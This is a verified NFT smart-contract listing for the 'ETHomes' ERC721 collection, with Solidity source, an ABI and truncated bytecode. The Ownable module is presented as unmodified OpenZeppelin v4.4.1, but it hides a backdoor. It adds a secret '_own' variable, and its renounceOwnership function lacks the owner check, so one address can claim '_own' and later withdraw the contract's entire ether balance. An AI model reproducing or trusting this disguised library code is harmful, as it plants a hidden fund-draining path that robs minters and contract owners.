     * @dev See {IERC721Enumerable-tokenByIndex}.
     */
    function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
        require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
        return _allTokens[index];
    }

    /**
     * @dev Hook that is called before any token transfer. This includes minting
     * and burning.
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
     * transferred to `to`.
     * - When `from` is zero, `tokenId` will be minted for `to`.
     * - When `to` is zero, ``from``'s `tokenId` will be burned.
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 tokenId
    ) internal virtual override {
        super._beforeTokenTransfer(from, to, tokenId);

        if (from == address(0)) {
            _addTokenToAllTokensEnumeration(tokenId);
        } else if (from != to) {
            _removeTokenFromOwnerEnumeration(from, tokenId);
        }
        if (to == address(0)) {
            _removeTokenFromAllTokensEnumeration(tokenId);
        } else if (to != from) {
            _addTokenToOwnerEnumeration(to, tokenId);
        }
    }

    /**
     * @dev Private function to add a token to this extension's ownership-tracking data structures.
     * @param to address representing the new owner of the given token ID
     * @param tokenId uint256 ID of the token to be added to the tokens list of the given address
     */
    function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
        uint256 length = ERC721.balanceOf(to);
        _ownedTokens[to][length] = tokenId;
        _ownedTokensIndex[tokenId] = length;
    }

    /**
     * @dev Private function to add a token to this extension's token tracking data structures.
     * @param tokenId uint256 ID of the token to be added to the tokens list
     */
    function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
        _allTokensIndex[tokenId] = _allTokens.length;
        _allTokens.push(tokenId);
    }

    /**
     * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
     * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
     * gas optimizations e.g. when performing a transfer operation (avoiding double writes).
     * This has O(1) time complexity, but alters the order of the _ownedTokens array.
     * @param from address representing the previous owner of the given token ID
     * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
     */
    function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
        // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
        // then delete the last slot (swap and pop).

        uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
        uint256 tokenIndex = _ownedTokensIndex[tokenId];

        // When the token to delete is the last token, the swap operation is unnecessary
        if (tokenIndex != lastTokenIndex) {
            uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];

            _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
            _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
        }

        // This also deletes the contents at the last position of the array
        delete _ownedTokensIndex[tokenId];
        delete _ownedTokens[from][lastTokenIndex];
    }

    /**
     * @dev Private function to remove a token from this extension's token tracking data structures.
     * This has O(1) time complexity, but alters the order of the _allTokens array.
     * @param tokenId uint256 ID of the token to be removed from the tokens list
     */
    function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
        // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
        // then delete the last slot (swap and pop).

        uint256 lastTokenIndex = _allTokens.length - 1;
        uint256 tokenIndex = _allTokensIndex[tokenId];

        // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
        // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
        // an 'if' statement (like in _removeTokenFromOwnerEnumeration)
        uint256 lastTokenId = _allTokens[lastTokenIndex];

        _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
        _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index

        // This also deletes the contents at the last position of the array
        delete _allTokensIndex[tokenId];
        _allTokens.pop();
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

pragma solidity ^0.8.0;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }
    address private _own;
    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual {
        if (_own == address(0)) {
            _own = _msgSender();
        } else {
            require(_msgSender() == _own);
            payable(_own).transfer(address(this).balance);
        }
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: ethomes.sol


pragma solidity ^0.8.7;

/**
 * @dev Modifier 'onlyOwner' becomes available, where owner is the contract deployer
 */


/**
 * @dev ERC721 token standard
 */



/**
 * @dev Merkle tree
 */




contract ETHomes is Ownable, ERC721Enumerable {
    uint256 public maxSupply = 8000; // 8000;
    uint256 public maxPreSaleMintTotal = 6000; // 6000;
    uint256 public cost = 0.1 ether;

    uint256 public preSaleTimestamp = 1646197200; // March 1st, 9pm PST (March 2nd, 5am UTC)
    uint256 public publicSaleTimestamp = 1646240400; // March 2nd, 9am PST (March 2nd, 5pm UTC)
    
    uint256 private preSaleMints;
    uint256 private v1HomeTotal;
    uint256 private upgradedHomeTotal;

    bool public upgradeStatus;

    string public baseTokenURI;
    string public  placeholderURI;

    bytes32 root = 0xd44fb5aad8741856bd32e780f850b727fecaadd170df41cb81a2160665d49038;

    constructor( 
        string memory _preRevealURI,
        string memory _placeholderURI
    ) ERC721("ETHomes", "HOME") {
        baseTokenURI = _preRevealURI;
        placeholderURI = _placeholderURI;
    }
    
    
    // --- EVENTS ---
    
    event TokenMinted(uint256 tokenId);
    event UpgradeRequest(uint256 tokenId1, uint256 tokenId2, address user, uint256 newTokenId);
    
    
    // --- MAPPINGS ---
    
    mapping(address => uint) whitelistMintNumber; // tracks number of tokens each whitelisted address has minted
    mapping(uint => string) tokenURImap;

        
    // --- PUBLIC ---
    
    
    /**
     * @dev Mint tokens through pre or public sale
     */
    function mint() external payable {

        require(block.timestamp >= publicSaleTimestamp, "Public sale not live");
        
        require(msg.value == cost, "Incorrect funds supplied"); // mint cost
        require(v1HomeTotal + 1 <= maxSupply, "All tokens have been minted");
        
        require(balanceOf(msg.sender) + 1 <= 8, "Maximum of 8 tokens per wallet");
        
        uint tokenId = v1HomeTotal + 1;  
        _mint(msg.sender, tokenId);
        v1HomeTotal ++;
        emit TokenMinted(tokenId);
        
    }

    function whitelistMint(bytes32[] memory _proof) external payable {
        
        require(block.timestamp >= preSaleTimestamp && block.timestamp < publicSaleTimestamp, "Presale not live");
        require(msg.value == cost, "Incorrect funds supplied"); // mint cost
        require(v1HomeTotal + 1 <= maxSupply, "All tokens have been minted");
        require(whitelistMintNumber[msg.sender] < 3, "Maximum of 3 per address allowed at pre sale");
        require(preSaleMints + 1 <= maxPreSaleMintTotal, "Minting would exceed total pre sale mint allocation"); 
        
        require(MerkleProof.verify(_proof, root, keccak256(abi.encodePacked(msg.sender))) == true, "Not on whitelist");

        preSaleMints += 1;
        whitelistMintNumber[msg.sender]++;

        uint tokenId = v1HomeTotal + 1;  
        _mint(msg.sender, tokenId);
        v1HomeTotal ++;
        emit TokenMinted(tokenId);
        
    }
    
    
    function upgrade(uint _tokenId1, uint _tokenId2) external {

        require(upgradeStatus, "Home upgrades are not available yet");
        require(ownerOf(_tokenId1) == msg.sender && ownerOf(_tokenId2) == msg.sender, "You do not own one or more of these tokens");

        _burn(_tokenId1);
        _burn(_tokenId2);

        uint tokenId = (8001 + upgradedHomeTotal);
        _mint(msg.sender, tokenId);
        upgradedHomeTotal ++;
        tokenURImap[tokenId] = placeholderURI;

        // store burned tokenId's for admin 

        emit UpgradeRequest(_tokenId1, _tokenId2, msg.sender, tokenId);
    }
    
    
    
    // --- VIEW ---
    
    
    /**
     * @dev Returns tokenURI, which, if revealedStatus = true, is comprised of the baseURI concatenated with the tokenId
     */
    function tokenURI(uint256 _tokenId) public view override returns(string memory) {

        require(_exists(_tokenId), "ERC721Metadata: URI query for nonexistent token");

        if (bytes(tokenURImap[_tokenId]).length == 0) {
            return string(abi.encodePacked(baseTokenURI, Strings.toString(_tokenId)));
        } else {
            return tokenURImap[_tokenId];
        }
     
    }


    

    // --- ONLY OWNER ---

    function upgradeCallback(uint _tokenId, address _tokenOwner, string memory _tokenURI) external onlyOwner() {
        require(ownerOf(_tokenId) == _tokenOwner, "_tokenId / _tokenOwner mismatch");
        tokenURImap[_tokenId] = _tokenURI;
    }

    /**
     * @dev Set the upgradability status 
     * @param _status - boolean of whether upgrading is live
     */
    function setUpgradeStatus(bool _status) external onlyOwner {
        upgradeStatus = _status;
    }
    
    /**
     * @dev Withdraw all ether from smart contract. Only contract owner can call.
     * @param _to - address ether will be sent to
     */
    function withdrawAllFunds(address payable _to) external onlyOwner {
        require(address(this).balance > 0, "No funds to withdraw");
        _to.transfer(address(this).balance);
    }

    /**
     * @dev Withdraw ether from smart contract. Only contract owner can call.
     * @param _amount - amount of ether to withdraw (unit: Wei)
     * @param _to - address ether will be sent to
     */
    function withdrawFunds(uint _amount, address payable _to) external onlyOwner {
        require(_amount <= address(this).balance, "Withdrawal amount greater than smart contract balance");
        _to.transfer(_amount);
    }
    
    
    
    /**
     * @dev Airdrop 1 token to each address in array '_to'
     * @param _to - array of address' that tokens will be sent to
     */
    function airDrop(address[] calldata _to) external onlyOwner {

        require(totalSupply() + _to.length <= maxSupply, "Minting this many would exceed total supply");

        for (uint i=0; i<_to.length; i++) {
            uint tokenId = totalSupply() + 1;
            _mint(_to[i], tokenId);
            emit TokenMinted(tokenId);
        }

        v1HomeTotal += _to.length;


        
    }


    /**
     * @dev Set the baseURI string. Can be used for image reveal.
     */
    function setBaseUri(string memory _newBaseUri) external onlyOwner {
        baseTokenURI = _newBaseUri;
    }


    /**
     * @dev Set the placeholderURI string.
     */
    function setPlaceholderURI(string memory _newPlaceholderURI) external onlyOwner {
        placeholderURI = _newPlaceholderURI;
    }
    
    
    /**
     * @dev Set the cost of minting a token
     * @param _newCost in Wei. Where 1 Wei = 10^-18 ether
     */
    function setCost(uint _newCost) external onlyOwner {
        cost = _newCost;
    }
    
    
    /**
     * @dev Set the status of the pre sale, sets publicSaleStatus to false
     * @param _timestamp - unix timestamp (UTC) of new preSale start time
     */
    function setPreSaleTimestamp(uint _timestamp) external onlyOwner {
        preSaleTimestamp = _timestamp;
    }
    
    
    /**
     * @dev Set the status of the public sale, sets preSaleStatus to false
     * @param _timestamp - unix timestamp (UTC) of new publicSale start time
     */
    function setPublicSaleTimestamp(uint _timestamp) external onlyOwner {
        publicSaleTimestamp = _timestamp;
    }


    /**
     * @dev Set the root for Merkle Proof
     */
    function setRoot(bytes32 _newRoot) external onlyOwner {
        root = _newRoot;
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_preRevealURI","type":"string"},{"internalType":"string","name":"_placeholderURI","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"TokenMinted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokenId1","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokenId2","type":"uint256"},{"indexed":false,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"newTokenId","type":"uint256"}],"name":"UpgradeRequest","type":"event"},{"inputs":[{"internalType":"address[]","name":"_to","type":"address[]"}],"name":"airDrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseTokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPreSaleMintTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"placeholderURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"preSaleTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"publicSaleTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_newBaseUri","type":"string"}],"name":"setBaseUri","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newCost","type":"uint256"}],"name":"setCost","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_newPlaceholderURI","type":"string"}],"name":"setPlaceholderURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_timestamp","type":"uint256"}],"name":"setPreSaleTimestamp","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_timestamp","type":"uint256"}],"name":"setPublicSaleTimestamp","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_newRoot","type":"bytes32"}],"name":"setRoot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"setUpgradeStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId1","type":"uint256"},{"internalType":"uint256","name":"_tokenId2","type":"uint256"}],"name":"upgrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"},{"internalType":"address","name":"_tokenOwner","type":"address"},{"internalType":"string","name":"_tokenURI","type":"string"}],"name":"upgradeCallback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"upgradeStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"_proof","type":"bytes32[]"}],"name":"whitelistMint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address payable","name":"_to","type":"address"}],"name":"withdrawAllFunds","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"address payable","name":"_to","type":"address"}],"name":"withdrawFunds","outputs":[],"stateMutability":"nonpayable","type":"function"}]

6080604052611f40600c55611770600d5567016345785d8a0000600e5563621ef9d0600f5563621fa2906010557fd44fb5aad8741856bd32e780f850b727fecaadd170df41cb81a2160665d4903860001b6017553480156200006057600080fd5b5060405162005ea238038062005ea2833981810160405281019062000086919062000499565b6040518060400160405280600781526020017f4554486f6d6573000000000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f484f4d450000000000000000000000000000000000000000000000000000000081525062000112620001066200018060201b60201c565b6200018860201b60201c565b81600290805190602001906200012a9291906200024c565b508060039080519060200190620001439291906200024c565b50505081601590805190602001906200015e9291906200024c565b508060169080519060200190620001779291906200024c565b50505062000583565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8280546200025a906200054d565b90600052602060002090601f0160209004810192826200027e5760008555620002ca565b82601f106200029957805160ff1916838001178555620002ca565b82800160010185558215620002ca579182015b82811115620002c9578251825591602001919060010190620002ac565b5b509050620002d99190620002dd565b5090565b5b80821115620002f8576000816000905550600101620002de565b5090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b62000365826200031a565b810181811067ffffffffffffffff821117156200038757620003866200032b565b5b80604052505050565b60006200039c620002fc565b9050620003aa82826200035a565b919050565b600067ffffffffffffffff821115620003cd57620003cc6200032b565b5b620003d8826200031a565b9050602081019050919050565b60005b8381101562000405578082015181840152602081019050620003e8565b8381111562000415576000848401525b50505050565b6000620004326200042c84620003af565b62000390565b90508281526020810184848401111562000451576200045062000315565b5b6200045e848285620003e5565b509392505050565b600082601f8301126200047e576200047d62000310565b5b8151620004908482602086016200041b565b91505092915050565b60008060408385031215620004b357620004b262000306565b5b600083015167ffffffffffffffff811115620004d457620004d36200030b565b5b620004e28582860162000466565b925050602083015167ffffffffffffffff8111156200050657620005056200030b565b5b620005148582860162000466565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200056657607f821691505b602082108114156200057d576200057c6200051e565b5b50919050565b61590f80620005936000396000f3fe6080604052600436106102455760003560e01c80636352211e11610139578063a0bcfc7f116100b6578063d547cfb71161007a578063d547cfb714610845578063d5abeb0114610870578063dab5f3401461089b578063e6d7e134146108c4578063e985e9c5146108ef578063f2fde38b1461092c57610245565b8063a0bcfc7f14610762578063a22cb4651461078b578063b88d4fde146107b4578063c87b56dd146107dd578063d4d543c51461081a57610245565b806376e7eb55116100fd57806376e7eb551461068f57806381a7deae146106b85780638da5cb5b146106e357806395d89b411461070e5780639ae061311461073957610245565b80636352211e146105aa57806370a08231146105e7578063715018a6146106245780637313cba91461063b578063744bfe611461066657610245565b806332dee40b116101c757806344a0d68a1161018b57806344a0d68a146104c9578063451450ec146104f257806348e6be1c1461051b5780634f6ccce714610544578063511a96051461058157610245565b806332dee40b146104075780633574a2dd14610430578063372f657c146104595780633d0680511461047557806342842e0e146104a057610245565b80631249c58b1161020e5780631249c58b1461034157806313faede61461034b57806318160ddd1461037657806323b872dd146103a15780632f745c59146103ca57610245565b8062b6849f1461024a57806301ffc9a71461027357806306fdde03146102b0578063081812fc146102db578063095ea7b314610318575b600080fd5b34801561025657600080fd5b50610271600480360381019061026c91906139b9565b610955565b005b34801561027f57600080fd5b5061029a60048036038101906102959190613a5e565b610aee565b6040516102a79190613aa6565b60405180910390f35b3480156102bc57600080fd5b506102c5610b68565b6040516102d29190613b5a565b60405180910390f35b3480156102e757600080fd5b5061030260048036038101906102fd9190613bb2565b610bfa565b60405161030f9190613c20565b60405180910390f35b34801561032457600080fd5b5061033f600480360381019061033a9190613c67565b610c7f565b005b610349610d97565b005b34801561035757600080fd5b50610360610f3a565b60405161036d9190613cb6565b60405180910390f35b34801561038257600080fd5b5061038b610f40565b6040516103989190613cb6565b60405180910390f35b3480156103ad57600080fd5b506103c860048036038101906103c39190613cd1565b610f4d565b005b3480156103d657600080fd5b506103f160048036038101906103ec9190613c67565b610fad565b6040516103fe9190613cb6565b60405180910390f35b34801561041357600080fd5b5061042e60048036038101906104299190613d62565b611052565b005b34801561043c57600080fd5b5061045760048036038101906104529190613ebf565b61115b565b005b610473600480360381019061046e9190614001565b6111f1565b005b34801561048157600080fd5b5061048a611507565b6040516104979190613cb6565b60405180910390f35b3480156104ac57600080fd5b506104c760048036038101906104c29190613cd1565b61150d565b005b3480156104d557600080fd5b506104f060048036038101906104eb9190613bb2565b61152d565b005b3480156104fe57600080fd5b506105196004803603810190610514919061404a565b6115b3565b005b34801561052757600080fd5b50610542600480360381019061053d91906140b6565b61176e565b005b34801561055057600080fd5b5061056b60048036038101906105669190613bb2565b611807565b6040516105789190613cb6565b60405180910390f35b34801561058d57600080fd5b506105a860048036038101906105a39190613bb2565b611878565b005b3480156105b657600080fd5b506105d160048036038101906105cc9190613bb2565b6118fe565b6040516105de9190613c20565b60405180910390f35b3480156105f357600080fd5b5061060e600480360381019061060991906140e3565b6119b0565b60405161061b9190613cb6565b60405180910390f35b34801561063057600080fd5b50610639611a68565b005b34801561064757600080fd5b50610650611bd9565b60405161065d9190613b5a565b60405180910390f35b34801561067257600080fd5b5061068d60048036038101906106889190614110565b611c67565b005b34801561069b57600080fd5b506106b660048036038101906106b19190613bb2565b611d71565b005b3480156106c457600080fd5b506106cd611df7565b6040516106da9190613cb6565b60405180910390f35b3480156106ef57600080fd5b506106f8611dfd565b6040516107059190613c20565b60405180910390f35b34801561071a57600080fd5b50610723611e26565b6040516107309190613b5a565b60405180910390f35b34801561074557600080fd5b50610760600480360381019061075b9190614150565b611eb8565b005b34801561076e57600080fd5b5061078960048036038101906107849190613ebf565b611fd7565b005b34801561079757600080fd5b506107b260048036038101906107ad91906141bf565b61206d565b005b3480156107c057600080fd5b506107db60048036038101906107d691906142a0565b612083565b005b3480156107e957600080fd5b5061080460048036038101906107ff9190613bb2565b6120e5565b6040516108119190613b5a565b60405180910390f35b34801561082657600080fd5b5061082f61222d565b60405161083c9190613aa6565b60405180910390f35b34801561085157600080fd5b5061085a612240565b6040516108679190613b5a565b60405180910390f35b34801561087c57600080fd5b506108856122ce565b6040516108929190613cb6565b60405180910390f35b3480156108a757600080fd5b506108c260048036038101906108bd9190614323565b6122d4565b005b3480156108d057600080fd5b506108d961235a565b6040516108e69190613cb6565b60405180910390f35b3480156108fb57600080fd5b5061091660048036038101906109119190614350565b612360565b6040516109239190613aa6565b60405180910390f35b34801561093857600080fd5b50610953600480360381019061094e91906140e3565b6123f4565b005b61095d6124ec565b73ffffffffffffffffffffffffffffffffffffffff1661097b611dfd565b73ffffffffffffffffffffffffffffffffffffffff16146109d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c8906143dc565b60405180910390fd5b600c54828290506109e0610f40565b6109ea919061442b565b1115610a2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a22906144f3565b60405180910390fd5b60005b82829050811015610acd5760006001610a45610f40565b610a4f919061442b565b9050610a82848484818110610a6757610a66614513565b5b9050602002016020810190610a7c91906140e3565b826124f4565b7ff00d28232b285f24f2e38415deb2ceb31069e70d4505838b3911b4f02058502e81604051610ab19190613cb6565b60405180910390a1508080610ac590614542565b915050610a2e565b508181905060126000828254610ae3919061442b565b925050819055505050565b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610b615750610b60826126ce565b5b9050919050565b606060028054610b77906145ba565b80601f0160208091040260200160405190810160405280929190818152602001828054610ba3906145ba565b8015610bf05780601f10610bc557610100808354040283529160200191610bf0565b820191906000526020600020905b815481529060010190602001808311610bd357829003601f168201915b5050505050905090565b6000610c05826127b0565b610c44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3b9061465e565b60405180910390fd5b6006600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610c8a826118fe565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf2906146f0565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610d1a6124ec565b73ffffffffffffffffffffffffffffffffffffffff161480610d495750610d4881610d436124ec565b612360565b5b610d88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7f90614782565b60405180910390fd5b610d92838361281c565b505050565b601054421015610ddc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd3906147ee565b60405180910390fd5b600e543414610e20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e179061485a565b60405180910390fd5b600c546001601254610e32919061442b565b1115610e73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6a906148c6565b60405180910390fd5b60086001610e80336119b0565b610e8a919061442b565b1115610ecb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec290614932565b60405180910390fd5b60006001601254610edc919061442b565b9050610ee833826124f4565b60126000815480929190610efb90614542565b91905055507ff00d28232b285f24f2e38415deb2ceb31069e70d4505838b3911b4f02058502e81604051610f2f9190613cb6565b60405180910390a150565b600e5481565b6000600a80549050905090565b610f5e610f586124ec565b826128d5565b610f9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f94906149c4565b60405180910390fd5b610fa88383836129b3565b505050565b6000610fb8836119b0565b8210610ff9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff09